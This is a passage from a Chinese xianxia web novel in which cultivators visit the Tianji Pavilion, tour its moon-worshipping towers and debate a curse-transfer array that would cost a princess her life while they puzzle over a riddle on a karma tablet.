“这次多亏了几位,”明易客气地同他们道谢,“若不是你们提出要射天狼星,若不是有黎道友的协助……只怕我们要在桃林塞中耽搁许久。” 黎为夏哈哈大笑道:“哈哈!不谢不谢!” 姬漓倒是有些没回过神:“其实射天狼也只是我和姬滢的猜测,毕竟这首诗在我们天机阁人人皆知,说要射星就最先想到了……没想到还真是这么回事,但这桃林塞结界和天狼星究竟有何干系,其实我们也不太清楚。” 姬滢也点点头。 石映心有些猜测:“你们崇祀月神,桃林塞中又有九个月亮,也许此结界和你们天机阁有关。” 徐舟应了一声:“石道友说得有理。” 姬漓也说:“等我们回去再问问阁主好了。” 明易瞥了眼两个凡人,瞧着状态都很正常,他收回视线道:“既然已经出来了,不远处就是桃林塞驿站,离天机阁只差一步之遥。事不宜迟,我们走吧。” 众人虽说精疲力竭,但都想着一鼓作气到达目的地,免得迟则生变。 于是往桃林塞驿站走去,就这点路竟然还碰到两个蹲点的邪修,被黎为夏两拳打飞了,不过是小小插曲。 黎为夏本想从桃林塞驿站直接回她们琼华宫的,但姬漓等人热情邀请她去天机阁做客,说是要好好报答她的射箭相助之恩,就连曾换月也在边上帮着劝说:“就去呗去呗,大老远的来都来了。” 黎为夏很快被说服:“也是,来都来了。” 那就出发天机阁! 桃林塞驿站===> ===>天机阁驿站 天机阁驿站建在一个很莫名其妙的地方:城门内前方路中央。 进出城过路的百姓都得绕道走,从上往下看,这条路像是一条蛇吃鸡卡在七寸处,死活咽不下去。 姬漓解释说这选址是她们当时阁主算出来的风水宝地,先不管好看不好看合不合理,反正卦象这么说,那就往这里建吧。至于百姓的看法……毕竟受人家庇护的,也不好说啥,只暗暗吐槽她们不会城池规划罢了。 行吧,这都是人家门派的事,不好多说的。驿站嘛,能传送就行,一出来就是热闹的街市也有好处啊,比如两三步就能找个摊位坐下来吃饭了。对那些快要馋死的修仙者来说太方便了。 “快来尝尝我们这的金城牛肉面!”十个人坐了三张桌子,姬漓热情地招呼几人吃面,“能吃辣的一定要加点辣哈!” 周赫又说:“四皇子和公主在桃林塞里受了寒,吃点热乎的暖暖身子吧。” 公主皇子闻言客气地道了谢,拿起筷子就吃。 美食抚慰人心。经过桃林塞的折磨之后享受一碗好吃的面,几人的心都踏实下来,脸上洋溢起牛肉味的微笑。 吃到一半徐舟忽然站起来,又去隔壁摊买了一些羊肉来分给几人:“我们这的牛羊肉你们就吃吧,过了这村可没这店了!我在外头游历也时常回想这一口,啧啧啧!” 大家好奇品尝,果真是美味至极,肥肉相间、肉质弹牙,脂香浓郁却无膻味,单吃就不错,蘸点辣子啥的调料更是美味。 曾换月吃得满嘴流油:“嗯嗯!确实比我们归壹派膳堂的好吃!” 顾梦真已经有了打算:“回去的时候我们捎带一些,能吃能卖!” 石映心吃面吃得好热乎:“记得师父的份。” 明易扫了眼埋头苦吃的三人:“先完成任务再说吧。” 这么说着,他把什么东西往桌上一放,三人从碗里抬起头看去,可不就是好久不见的因果牌吗,只见上头写着两行:【身与名俱灭,日同月共亡】 呦,辛苦这遭的,一个字没消啊! 第93章 姬漓等人不明白,为何只是吃碗面的功夫,归壹派的几位道友都变得蔫巴巴的了。好在蔫巴巴的是某三人,在街上一瞧见新鲜玩意又兴致勃勃·起来,她们甚至没来得及关心一句。 “那应该不是大事吧。”姬漓问妹妹、 她妹妹点了点头:“也许在她们眼里什么都不算大事。” 姬漓凑近来,拿胳膊贴着她:“喂喂,怎么感觉你有些心事重重的?到底发生什么事了?” 姬滢顿了顿:“之后同你说。” 不是不说就行:“好吧。” 天机阁就在闹市之中,远远望去就能瞧见一座高耸入云的阁塔,除阁塔外就是四周遍布的大殿,整体规模很广,宏伟壮丽得与边上的人间格格不入,几乎能和京城的皇宫媲美。 徐舟就打趣童嘉文:“四皇子,不知我们天机阁可否有你的皇宫雄伟?” 当然能了,所以童嘉文的脸色有些忍耐的惊诧:“徐仙人说笑了,天机阁是仙人之所,凡间殿宇当然望尘莫及。” 徐舟拍拍他的肩膀哈哈笑起来。 童嘉文被拍得肩膀沉了两下,脸皮差点没挂住;但瞧见不远处巍峨的楼宇,心中又有几分不甘愿的安心。 再走近些,就瞧见街两边的摊位都变成了卦摊,许多打扮相似的卜师彼此间隔开坐着,两排招揽客人的幌子迎风呼呼地响;这一面写着“奇门卦问运”,另一面是“称骨算命”,还有“杯筏断吉凶”……真是五花八门,各显神通。 几人一进这块区域,瞬间感到无数目光集中在身上爬;有比较热情的卜师唰地就站了起来,对着最近的黎为夏道:“这位道友,我见你骨骼清奇、天赋异禀,将来必有所成啊!” 黎为夏一吓:“额……多谢你?” 卜师甲:“不过人生风云变幻,我看见你命中有道坎,还需有高人指引才可平安跨过!” 黎为夏一愣:“啊……真的吗?” 姬漓冒出来:“不需要哈,她连悬崖都能跨过去,何况小小的坎。” 卜师甲:? 另一边的卜师乙盯住一脸好奇的石映心:“姑娘,我观你面带桃花,红润光泽,有世间难得良缘……” 石映心摸脸:“桃花?” 卜师乙要说完:“……不过你前世有未了之缘,需化解之才可修得正果……” 石映心:“正果是什么果?” 卜师乙:? 明易把她拉过来:“走吧。” 顾梦真摆脱卜师丙,和他们吐槽道:“这生意都做到天机阁大门口来了,你们阁的也不管管啊?” 姬滢姬漓对视一眼,默契地没说话。 “哈哈,”徐舟转头看他,眨眨眼道,“其实……这些卜师大多数都是我们阁的弟子啦。” 几人:?? 徐舟嘿嘿道:“出来练练手嘛,卦金都很便宜的,你们想算也可以去算算,不过不包真的哈。” 几人:…… 周赫感慨般地叹了一口气:“想当初我在这修行时,卦摊一个月的租金就要交三十灵石,我算一天都不见得赚到一两银子……倒贴,完全是在倒贴!” 徐舟也语气沧桑道:“我又何尝不是呢?同门的奋发图强之心太过骇人,卦金一压再压,起早贪黑地算,说两句难听的实话还要被骂骗子,呜呜呜呜……”说着袖口捂脸假哭起来。 姬漓嘴角一扯呵呵道:“那会我还要刻意变成胡儿八杈的老头,不然别人见我脸嫩还是个女子不信我会算。” 姬滢双眼失神地点了点头:“我只是话少,他们却说我知情不告,一直胡搅蛮缠。” …… 大伙听几人的悲惨过往,对两排卜师的态度从避之不及变成了同情。 曾换月:果然从古至今的实习生都不容易啊! 好走过这排可怜的实习卜师们就到了天机阁很有排场的大门口了,和看门的两个弟子打过招呼,又给外来的几位登记了身份,这下就能进门了。 进了大门后有一个不算大封闭小院,前方又有一扇内门,内门外这会停留着几个穿着天机阁藏蓝门服的弟子,杵在门口却不进去:一个蹲在地上玩铜钱,一个低头掰手指,还有一个闭着眼睛不知在干啥? 曾换月好奇地问:“他们怎么不进去?” “哦,这个啊。”说着在前边领路的天机阁四人也停了下来,姬漓朝她们一笑道,“方才我们过的是外门,这扇是内门。我们天机阁弟子进门前是有个规矩的……” 她话音未落,玩铜钱的弟子叫道:“左腿!迈左腿!” 掰手指的弟子摇摇头:“不,是右腿。” 闭眼睛的弟子睁开眼:“我看还是双腿一起跳进去。” 不明所以的几人:OO? 姬漓回头看了一眼,继续解释道:“规矩就是,进此门的弟子最好要算先迈哪只腿,迈错了会倒霉一天;同一批进门的人则要迈同一只。所以等会我们四人算好了,你们也要注意哦。” 几人:…… 顾梦真嘴角抽抽:“好……别致的规矩啊。” 徐舟:“不算规矩啦,这是迷信。但是大家都会遵守。” 曾换月哈哈:“你们是在开玩笑的吧?” 姬漓:“当然不是了。” 童柔意轻声笑道:“还挺有趣。” 四皇子听见了,点点头道:“宫有宫规,家有家法,世间何处都不例外。” 石映心瞥了眼已经开始吵起来的前边三人:“若是出现像他们这样结果不一的情况呢?” 姬漓耸肩:“那就仁者见仁智者见智了。” 果然,吵了也没结果的三人气呼呼地一个迈左腿一个迈右腿一个双脚并跳地过了门槛。 这三人过去,接着就轮到她们这批了。就见姬漓拿出罗盘,另两个拿出龟壳,神色认真地开始算挂。 曾换月:…… 她走到师姐师兄边上,小声道:“等会不会也要吵起来吧?” 顾梦真关注着他们:“不知道啊。” 石映心摇了摇头。 明易一板一眼道:“入乡随俗。” 黎为夏挪过来:“你们在说什么?” 几句话的功夫,那边已经出结果了,好在三人的卦象一致——并脚跳进去。 不要闹了辣。曾换月哭笑不得,怎么可能是并脚跳进去啊,这太滑稽了!她们这些小弟子也就算了,要是别派的大能啊长老啊过来呢?也要并脚跳过去? 没人懂她微妙的羞耻,反正还是一个接一个地跳过去了,不管是公主皇子还是剑修符修都不例外。 刚跳进门槛,黎为夏忽然“咦”了一声,弯腰捡起了什么,朝向她看来的几人笑道:“这么跳进来真有好运诶,捡到一块碎银。” “哇!”姬漓瞪大了眼睛,“真的假的?我以为只是不倒霉,原来真有好运啊?” 石映心这时候说:“这是刚刚并脚跳进去的弟子掉落的。我瞧见了。” 大伙:…… 现在是看得出来方才那三人谁算错了。 黎为夏把碎银给姬漓她们,说希望能物归原主,但是姬漓却说他们天机阁的弟子好坏都认卦,不会收的,让她留着吧。 留着就留着吧,反正也没多少钱。 进了内门之后,就见天机阁宽阔奢华的一方天地;原来阁外有一层结界,将阁中真实景色掩盖了九分,只露出了那座有代表性的天机阁塔,在外头看以为其余都是普通的大殿,但其实里面多是高高的楼阁,最高的层数不尽,最矮的也有三层,高低错落地铺在眼前,座座雕梁画栋、飞阁流丹。 几人目不暇接地看。 童柔意在四皇子边上哼了一句:“原来内里别有洞天,敢情外边的景色已经给了皇宫九分脸面了。” 四皇子的脸色确实不好看:“仙人毕竟是仙人;仙居和凡间自然不同。你早些时候还想给她们立规矩……” “那会我没见过世面,现下已经看清了。”童柔意不温不火道,“皇兄,你如何呢?” “人忌讳好高骛远,异想天开,”童嘉文缓缓道,“本王不如何,只等解决了诅咒,回宫中坐本王的龙椅,治本王的天下。”说罢一甩袖子,大步往前跟上了队伍。 童柔意盯着他的后脑勺,一转眼和石映心对上视线,二人对视几瞬,她先问道:“石仙人,可有什么事?” 石仙人一歪脑袋:“你不跟上来站在那发呆是有什么心事吗?” 童柔意:…… 这么一看她确实有些落队了,便小跑跟上。 按礼节,进别人门派的第一件事自然是拜访阁主,不过这类大人物事忙,不是想见就见的,来了遇不上也很正常,所以姬漓他们先给几人安排了临近的住所休息。 这住所就是一栋七层高的楼阁,据说是专门用来招待贵客的;归壹派几人平时都住在山上,但此住得高非彼住得高,所以几人望着高高的楼都有些新鲜。 三楼及以下考虑到凡人得需求给装了楼梯,但毕竟是仙居,大伙都能飞,所以上的楼阁就没有楼梯,可以直接飞上去;每一层外都有一个宽敞的院落,供飞人降落。 曾换月当然要和师姐住在一起,二人于是选了最高层;明易住第六层,顾梦真本来也想和大师兄一起住但惨遭拒绝于是住第五层;第四层是黎为夏,第三层是四皇子,接着便是童柔意了。 姬漓等人就住在不远处,说让他们先休憩会,晚些时候来带他们去逛逛天机阁。大伙都很期待这个环节,只有明易还在问:“四皇子的事……” 姬漓挥挥手:“哎呀,怎么说都得等我们阁主回来再看,别急嘛,来都来了,好好在我们天机阁玩一玩呗!” “……好。”其实他觉得任务完成了再玩才好。 不过看师弟师妹们兴致勃勃的模样,明易也没多说。 第94章 七楼的风光很不错。一眼望去,除了天机阁星罗云布、高低错落的楼阁宝塔,隐约可见远方的民间市井,从这里看去,反而是人间显得缥缈虚幻。 曾换月躺在院子的躺椅上吹着风,望着有些黯淡的天色,余光里那些楼阁的影子让她想起高楼大厦,这么高的建筑在这里是很少见的,再加上似乎几千年也不成变幻过的 天空……叫她难得触景生情起来。 石映心从屋里走出来,看见师妹躺在那发呆,她扫了眼四周的景色道:“为什么天机阁喜欢建这么高的屋子?” “哦……”曾换月回过神来,“因为她们选址是在城里嘛,寸土寸金的,要是想多建一些房间什么的,地不够了自然要往天上建……” 石映心点点头:“原来是这样,我还以为是因为高处能更好地看月亮。” 曾换月听了直起身道:“欸欸,也许是师姐你说的这么回事,可能就是为了看月亮,毕竟她们整个阁对月神都老崇拜了。” 石映心说:“我还是不懂月神是什么。” “就是信仰……”曾换月不清楚如何解释,“月神是天上法力无边的神仙。” “生来便是神仙吗?” “额……有些是天生的,有些是后天成神……” “后天成神要怎么做?和我们修仙一样修神吗?” 曾换月的瞳孔渐渐涣散:“这个,这个嘛……神应该不能修……也不是,可能是要靠功德?嗯,人要成神的话要积攒很多功德,然后……被已经是神的神册封为神……” “已经是神的神?”不懂但逻辑清晰的石映心问,“那世上第一位神是谁?” 曾换月略有些混乱的思绪立刻回来了,这个问题是毋庸置疑的:“那当然是女娲了!师姐你也听过的吧?女娲造人的故事!” 石映心点点头表示听过:“不过女娲是从哪来的?” “女娲……女娲怎么来的?这个嘛……” 曾换月:*o* 映心,就这么一个师妹还是别嚯嚯了,去问大师兄吧! “古籍记载,女娲应属自然神。诞生于自然万物,创造了世间百态。”大师兄说,“是万物伊始,没有女娲就没有你我。” 石映心:“这么说她是世上最厉害的神。” 大师兄:“嗯。” 石映心:“她在哪呢?” 大师兄:OO “是死了吧?”二师兄冒头来说,“我听说是补天之后耗尽了神力就死去了。不过有书记载‘有神十人,名曰女娲之肠,化为神,处栗广之野,横道而处’说是女娲死后,光是她的肠子就能化作十个神人……” 曾换月发言:“那相当于没死吧?跟我们修仙可以分元神似的?” 顾梦真“唔”了一声:“你这么说也有理。” 石映心:“所以这十个神人都是女娲吗?” “算也不算?”顾梦真摸摸下巴,“但不管是已经死了还是化身为其他神,能肯定的是女娲的神力一定衰减了许多。嗐,上古神祇的命运常常不明不白地就消逝了,只留下一些或真或假的传说。” 曾换月听着有许多感慨:“原来连神都会失落啊……何况我们这些人呢?” 顾梦真叹气道:“其实我们和凡人也没有不同,对更强的存在来说也只是小小蝼蚁。” “在民间,神仙多是依附凡人的祈念而存在,建庙宇、办祭祀,都是为了让神格发扬和延续的手段。”明易道,“不过现今天上众神并非每位都出名到能够广揽信徒,多数也只是普通的小神仙,兢兢业业地做自己的分内之事罢了。” 说着他看了看师弟师妹们,语气平缓认真: “就像百姓尊称我们一声仙人,对八大门派弟子恭敬尊重,亦是看在我们能斩妖除魔、维护世间安定的份上;他们尊敬的不是我们,是修仙者;祭祀的也并非某位具体的神,而是神格。存在和消亡就由世人去决定吧,身为归壹派的弟子,我们做好自己的分内事便是。” 师弟师妹们觉得大师兄说得很有道理,点头表示赞同。 石映心还听出一些别的:“分内事……大师兄是说要去做任务了。” 明易忍不住轻笑一声:“你现在很明白我了。” 石映心摇摇头:“我照不到你。” 明易想说明白一个人不是照一照这么简单的事,不过这些话就没必要在另两个面前说了:“准备一下,姬道友她们应该快来了。因果牌迟迟没有动静,之后问问她们。” “好。” 姬漓姬滢不过一会就来了,说徐舟周赫有事,由她们二人带几人参观天机阁,似乎也有应付某人的打算,特意提到:“等会途径圣地,先带你们见识一下偷天神阵,不过什么时候启动还得等我们阁主回来再说。” 明易于是说:“麻烦了。” 天机阁的夜景很美,高低的阁楼错落的流光灯火,偶尔两栋楼间还有廊桥,横在空中挂了一排灯笼,桥上有些弟子在赏月,月亮又大又地挂在上头,仿佛触手可及。 石映心适时地问:“这是真的月亮?” 姬漓:“当然是真的月亮!” 又问:“建这么高的楼是为了赏月吗?” 姬漓笑道:“自然有这层原因在。别看我们天机阁楼又高又多,但建造时会保证每一栋楼每一间屋子都能在夜间瞧见月亮,弟子们都能沐浴月光。” 石映心点头表示了解:“你们天机阁的月亮确实好看。” 姬滢说:“上回摘星大会去归壹派,在你们山上看的月色也不错。” 是这样吗?其实他们并没有特地在家里赏过月,仿佛它只是很自然地存在着,不过有月亮的晚上院子里会很亮堂,屋内便不需要点油灯;不知是不是听多了姬漓她们的事,几人总觉得天机阁的月亮格外显眼。 这时候黎为夏捏了捏拳头,仰头瞅着面前的十层楼阁说:“实不相瞒,我已经忍耐了许久,姬道友,我能不能……” 众人疑惑地望向她。 黎为夏一字一句道:“我能不能爬这些楼?” “啊?”姬漓一愣,“你是说……徒手爬上去?” “是,”黎为夏郑重道,“我在门派中经常爬树,多高多壮的树都爬过,但从未见过如此特别的楼宇!” 其余人:…… “额,你要爬就爬吧。”姬漓挠挠脸道,“快爬快回哈。” 黎为夏兴奋地应了一声,转身就跑向最近的十层楼阁,在众人的目瞪口呆之中唰唰唰地双手双脚并作地爬了上去,快得他们甚至瞧不清动作;等一回神,就见楼顶站着一个潇洒的影子,在月亮上刻下了一个人形。 “哇塞……”曾换月带头鼓起掌来,“恐怖如斯啊……” 琼华宫体修难道都这样嘛? 黎为夏说到做到,快爬快回,回来的时候脸上带着好大的笑容,看得几人心情也好了一些。 童嘉文这会已经恢复了很多精神气,不再是先前无精打采硬撑的模样了,见状还有心情打趣:“黎仙人,楼顶的月色是不是格外的好?” 黎为夏一甩辫子:“是,很好!” 大伙纷纷笑起来。 再往前走,楼阁逐渐少了,周遭越发开阔起来,迎面有草地,走近一些就看见里头有一片宽阔的湖泊,两边连着河道,正在夜色中熠熠闪着水光;边上有一些弟子正绕着一张供桌操办着什么。 童柔意瞅了一眼:“他们在祭祀?” “是。”姬滢说,“每月十五,弟子们都会在天机湖边祭月。不过非盛大节日时只是小办一场,摆些瓜果祭品,念诵赞诗,画阵引灵,祈求月神庇佑我阁。若是月临日或是拜月节,就很热闹了。” 喜欢凑热闹的曾换月立刻说:“那到时候我们可以来玩嘛?” 姬漓笑道: “自然,随时恭迎!” 驻足看了会天机湖的美景,几人跟着继续往下走。很快能望见一个庞大的、仅有两层且形态似蒸笼般的大殿,门口站着四位看守弟子。姬漓一边走一边介绍道:“前边那座便是圣地所在的月临殿,平日有弟子看守,不可随意进出;若要启动阵法,需获得阁主的首肯。” 说完就停了下来,没再往前走:“反正进不去,今日就远远望一眼吧?” 毕竟是别人家的地盘,又没和阁主打过招呼,明易自然不好再多要求。四皇子好奇地问:“那处便是能解决本王诅咒的地方?” 姬漓说是,又道:“入了我们天机阁,四皇子和公主就无需提心吊胆,这两日好好休息便是。” 童嘉文笑了一声,朝他们一拱手:“多谢众仙人一路庇护,几位的大恩大德本王没齿难忘。” 顾梦真干笑一声:“你这声感谢来得太早了,等事成之后再谢也不迟。” 童嘉文就又夸了他们一通,反正是说什么仙人神通广大肯定能把事情办好云云,听着蛮替他们有自信的,脸上笑意盈盈。 曾换月瞥了眼默不作声的公主,和师姐传密音道:“师姐你看,童柔意怎么感觉不是很高兴呢?而且我总觉得她这两日有些怪怪的。” 石映心问:“哪里怪怪的?” 曾换月沉吟片刻:“说不上来……像是沉稳了许多?难道是这一路难关给她吓老实了?刚见面的时候还发公主脾气的。” 石映心顿了顿,觉得这时候解释青蛋的事有些麻烦,干脆道:“嗯,等我找机会照照她。” “啊?”曾换月一愣,忽然有些怂恿师姐做坏事的慌张,连忙道,“别别别,师姐你问过大师兄再照吧!” 石映心这会是答应了。 第95章 简单参观完天机阁,姬漓二人说要带几人去她们天机阁的膳堂尝尝鲜。归壹派几个贪吃的自然高兴答应了,不过两个凡人说是不饿,想先回去休息,于是暂且分开。 天机阁的膳堂有五层,每一层外都有摆着许多桌椅的大院子,月明星晴的晚上,弟子们就坐在院子里吃吃喝喝嘻嘻哈哈,抬头就能赏到他们的月亮。 “师父也喜欢在院子里对着月亮喝酒。”石映心看着这热闹的一群人说。 “还喜欢让我们跪着面月思过。”曾换月说起来有些苦涩。 “你们还算好了。”顾梦真一撇嘴,“我小时候居然叫我扎马步呢!” 哎呀那有点惨了,曾换月和师姐幸灾乐祸地笑起来。 人虽多,但好在有空位,姬漓和姬滢招呼几人坐下,跑进跑出地点了满满一大桌子的佳肴美饮。好不容易操办好了,入座后举起梅花酿朝他们一敬:“有缘千里来相会,今日能与几位道友共历劫难、逢凶化吉,在此一聚,实在是我与妹妹之幸!” 明易也举起茶盏:“姬道友客气了。” 黎为夏笑哈哈道:“好在是那会答应了你们帮忙,不然我哪里知道世上还有桃林塞这样的地方,也没有机会来你们天机阁见识这些漂亮的楼阁和月亮。” “黎道友!”姬漓和她碰了一杯,“莫名其妙拉你过来你也不生气,你真是个好人!” “我师父说世上的好人很难当,”黎为夏道,“不过我有在努力。” 这时候吃羊肉串的石映心问:“为什么好人很难当?” 黎为夏沉思片刻,抬眼认真道:“这个……我忘记师父当时的教诲了。” 几人:…… “我知道我知道。”曾换月举手发言,“一个完全的好人既要有好心,又要行好事。但世上多的是衣冠禽兽,又多的是好心办坏事的人!” 好心办坏事?“怎么才算好心呢?” “这个嘛……”曾换月支吾了一下,“得分情况的师姐,具体事情具体分析!” 石映心点点头表示了解了,忽然问:“我们帮童嘉文是行好事吗?” “当然是,”二师兄说,“这不是陶远师叔指派的任务吗?因果牌也给了指示……” 石映心闻言便看向姬滢道:“既然如此,为什么姬滢不高兴呢?” 姬滢突然被提到,本来就在走神的她神情又呆滞了一会,反应过来的时候,就见大伙的目光已经聚焦在她身上了,她张了张嘴,解释的话却迟迟没说出口,这就显得更可疑了。 她姐姐自然看出她的心思,见她这么不对劲,关心道:“姬滢,你到底怎么了?我这两日就常见你心不在焉的。” 姬滢平时性子就比较缓慢,许多时候走不走神的大伙也看不出来,这会经二人一提醒,大家纷纷有些好奇。 姬漓又来一句:“有什么事你和姐姐说呗,大家一起解决,总比你一人胡思乱想地好。” 是吗?那她就讲了吧,姬滢道:“虽说偷天神阵神通广大,但也需要付出相应的代价。” 说到这就停了,几人一时没反应过来,还在等她继续呢,沉默了片刻之后都有些糊涂起来,“相应的代价”是什么意思? 明易听懂了:“姬道友的意思是……若要阵法成功,四皇子的诅咒需要转移到他人身上,应是有些特殊的要求,比如双方需要有血缘关系;所以这就是你们带公主一同上路的真正目的?” 姬滢点了点头。 几人皆是愣神了,曾换月震惊道:“什么意思啊?就是说之后四皇子登基……但死的会是童柔意?” 姬滢:“对。” “这不就是以命换命吗?”姬漓大吃一惊,“这是阁主同你们说的?童柔意她也知道?” 姬滢:“嗯。” 顾梦真抱头不解:“她知道为何还跟来送死啊!?” “你傻呀,”曾换月一拍桌子,“不跟来留在皇宫里也是个死啊!那些拥护四皇子的人不会放过她的……” 姬滢叹了口气道:“这几日我一直在想,有没有办法能同时救下二人的命……还没想到。” “难道他们童家除了童柔意外就没有别的……不对不对,”姬漓摇摇头,“谁都不行,换谁的命都不行。” 黎为夏也有了解一些大概,虽说她和童柔意没说过几句话,但也十分于心不忍:“凡人的命本就不长,公主还这么年轻,就算是为了救自己的兄长也不能就这么牺牲了吧?难道四皇子不能不登基吗?” 曾换月是最知道不行的,叹了口气道:“不行的,对凡人来说……国不可一日无主,为了皇位他们可以杀很多人,甚至手足自残……谁会在意一个小公主呢?” “我们在意。”石映心看向明易,“大师兄你想想办法。” 大师兄有什么办法:“阵法一事我不甚了解。”更何况是别人家的。 石映心于是又问:“那为何死的要是童柔意而不是童嘉文?” 明易一顿:“我们的任务是保护四皇子。” 石映心道:“这样看我们也是害死童柔意的凶手,如果我们不来,死的就是童嘉文。” 明易二顿:“……话不能这么说。” 姬滢忽然想起什么:“周师兄和四皇子说童柔意是自愿的……也许并非完全自愿,但她似乎也不很反对。” 石映心看向她:“所以这事的对与错、到底谁该死谁不该死,是可以由这一份自愿决定的吗?” 大伙都沉默下来。 如果遇到这样进退两难的情况,当然是有人自愿牺牲最好了,哪怕这份自愿不那么自愿。 “抛开自愿不谈,”石映心说,“如果一定要死一个人,谁死比较好呢?” “最好谁都不要死。”黎为夏觉得自己脑子很混乱,她想不明白这些利害关系,千里迢迢来这其实只是想做好事而已,“有没有办法谁都不死?” 姬滢平静地说:“等阁主回来去问问。” “也可以问问因果牌。”明易说罢,拿出牌子放在桌上,“几位对牌上的诗可有头绪?或许里边藏着两全之法的线索。” 几个脑袋便凑过来看,她们都是第一次见传说中的万事树因果牌,表现出了许多好奇,得知牌上的诗词是关于任务的提醒时,纷纷开始猜测。 “身与名俱灭,日同月共亡……”姬漓挠挠脸,语气有些迟疑,“听着像同归于尽的意思啊……哈哈,我瞎说的。” “这句诗与我们天机阁有关联。”姬滢点了点牌上一个字,“这里写了月。” 黎为夏:“啊?这样就算有关联啊?” 姬滢:“因为我们在。” 姬漓:“这种巧合在我们天机阁都是别有深意的,” 曾换月:“那和我有关联不?” 姬滢:“……不知道。” 顾梦真:“看起来日和月是对应的,月和你们有关,那日呢?” 明易适时说:“归壹派与日应无关联。” 石映心:“日是那幅画。” 大伙微惊地看向她,听她又说:“夸父逐日。”这里就有个日。 是哦! 还有那幅画!这还不关键吗?众人醍醐灌顶,姬滢连忙拿出画卷来,摊开放在桌上;几颗脑袋凑近来一看,忽然都有些迷蒙:画还是那幅画没错,但是为什么感觉……心中有些别样的情感? 这时有二人同时开口: 一是石映心,指着画上的人说:“黎为夏。” 二就是黎为夏,脸色有些惊讶:“这画风和我们琼华宫的古画好像啊!” 大家一时没反应过来,是曾换月先跳起来嚷:“对啊对啊,你们不觉得黎道友变身后的模样和这个画上的人……额,体型很相像吗?” 黎为夏挠挠头道:“这画是你们天机阁的吗?我方才还以为是我们琼华宫的……” “不是我们阁的,”姬滢有些茫然道,“这是皇宫里的画,出现在每一个死者的案发现场,我们便怀疑它与诅咒有关……” 姬漓总觉得这里头似乎有线索,飞快地问:“这画难道出自你们琼华宫?” 黎为夏:“不是皇宫的吗?” 姬漓:“谁知道他们哪来的!这可是古画。” 黎为夏懵懵的:“我不清楚是不是我们那的,只是觉得很像罢了……对了,要不我送信回宫,叫我师父寄一本画来给你们瞧瞧?” 那敢情太好了。 “麻烦你了黎道友。”明易诚心道,“不过……为何你们琼华宫的古画里画的都是这样健硕的人物?” 黎为夏挠挠脸:“这个……我确实听师父说过,不过不知真假。” 线索就在眼前,曾换月好着急:“你说你说你说!” “我记得师父是说……我们琼华宫的先祖就是这样的巨人,甚至比我们用法术变身后的模样还要高大几分;不过后来似乎遭遇了什么劫难,那会需要低调做人,所以修炼了变小的功法……” 黎为夏想了想:“后来当了几代小人,算是度过了危机,却发现变不回去了,只好又修炼变大的功法;可惜比之最先的体能还是有许多差距,先祖不服气,便一直钻研钻研……然后就变成体修了。” “啊?”顾梦真听了一懵,“居然是……这样的吗?” 黎为夏:“是啊是啊,师父是这么说的。” 曾换月的脸色古怪了一瞬:“所以你们修炼是为了……返祖啊?” 黎为夏:“对啊对啊,宫主也说过类似的话。” 明易眉头微蹙,思酌道:“如此天赋异禀,应是血脉所致;照理来说,一开始只有拥有你们琼华宫先祖血脉的人才能变身?” 黎为夏:“没错没错,你好聪明啊,据说早前是这样的,那些普通血脉的体修很后来才修炼出能变身的功法,不过依旧是差了许多;但现在过去了这么久,这些差异渐渐瞧不出来了,有时大家也会戏称修炼有天赋的弟子是先祖的后人。” 明易想,所以是血脉的衰弱和人为努力弥补了差距吗? 第96章 轮到石映心问了:“你们先祖也用蛇做耳坠吗?” 这是什么奇怪的问题,大家都准备好要笑了,却见黎为夏点了点头,脸色很寻常:“没错。而且我们现在也珥黄蛇,不过只在祭祀的时候,师父说戴出门会吓坏旁人的。” 说到这顿了顿,补充道:“是死的蛇哦。” 没人会怀疑这个的,黎道友。 “啊?”曾换月吓得声音都虚了,“来真的啊?” 黎为夏很认真地点头:“我不骗人的。” 石映心得到肯定的回答,脸上露出满意的笑容:“你们的先祖为什么要戴蛇耳坠?” “可能比较好看吧?长长一条。”黎为夏思酌道,“许久以前什么都没有,比起鱼啊石头的,还是蛇好看些。” “原来如此。”石映心点点头,很快接受了这个理由,“确实,比起鱼和石头……” 这真的是重点吗师姐?曾换月擦去大豆汗,弱弱地问:“居然这么多相似之处吗?难道夸父真是你们琼华宫先祖那代的人?” 没想到黎为夏却说:“额,那应该不是?” “为什么?” “他叫……夸父是吧?”黎为夏瞅了瞅画中人,“可我们古籍中有关先祖的记载……只有女子。” 曾换月一愣:“啊?” 石映心接受良好,很快转了口风:“那夸父就是女子。” 曾换月二愣:“啊??” 黎为夏跟着琢磨起来:“既然这样,她应该不叫夸父,可能是夸抚夸福夸妇夸芙夸娥……毕竟这是很久以前的事了,代代相传有偏颇也很正常,而且我们先祖的模样照现在的眼光看确实很像男子。” 曾换月三愣:“啊???” 不是等会……这对吗? 没人懂她目瞪口呆之下的震惊,其余人都很快接受了这个设定,仿佛只是交卷前复查发现做错了题,一涂一改就纠正了,心态很轻松。 师姐发现她在发呆:“换月,你怎么了?” 曾换月把手往下巴上一抬,将空气鸡蛋咽了下去:“没、没什么,你们继续哈哈……” 她们就继续讨论。姬漓问:“黎道友,你方才提到过祭祀一词,不知你们琼华宫祭祀哪位神祇?” 黎为夏:“羲和日神。” 姬滢唰地看向明易:“传说羲和是帝俊之妻。” 明易没说话,倒是一直好脾气的黎为夏,声音猝然跳了起来:“胡说!我们根本不认识帝俊!” 姬滢立刻改口:“是我记错了。” 黎为夏也是松了口气,声音软和下来:“没事,这很正常。” 顾梦真看看姬滢,又看看黎为夏,脑子里渐渐浮现一条线:“天机阁祭祀月神,琼华宫祭祀日神,这不就对应上诗词中的‘日同月’了吗?” 姬漓皱眉道:“那‘日同月共亡’是什么意思?是要我们和黎道友一同做什么吗?总不会真是‘亡’的事情吧?这不行的。” 明易道:“还需看前一句,身与名俱灭。” 姬漓苦笑一声:“这就更没有头绪了。” 于是又陷入煎熬的沉默之中。 曾换月其实从“夸父是女子”那里开始就听不懂了,现在更是云里雾里的,但她并没有放弃思考,而是试图理清一切:“好嘛,那现在这些日神月神的,和童家的诅咒又有什么关系呢?” 没想明白。 明易沉吟片刻:“身名俱灭应是指人的肉身与名誉同时消亡,寂灭无闻。” 石映心:“是在悔恨吗?” 曾换月:“恨什么呢?” 石映心:“不知道,但看来被恨的是童家。” “啊!”姬漓一拍手道,“难道是童家灭了某族,然后被因果业障缠上?他们人间的皇室不就经常干这种改朝换代、赶尽杀绝的事吗?而且前几个死者都是在登基之后才死……很像这么回事!” “此言有理。”明易表示赞同,“再结合第二句诗,这族应与你们天机阁和琼华宫有关。”于是又缩小了范围。 黎为夏目露茫然:“京城不是归幽冥宗管辖吗?关我们琼华宫什么事?远得很啊。” 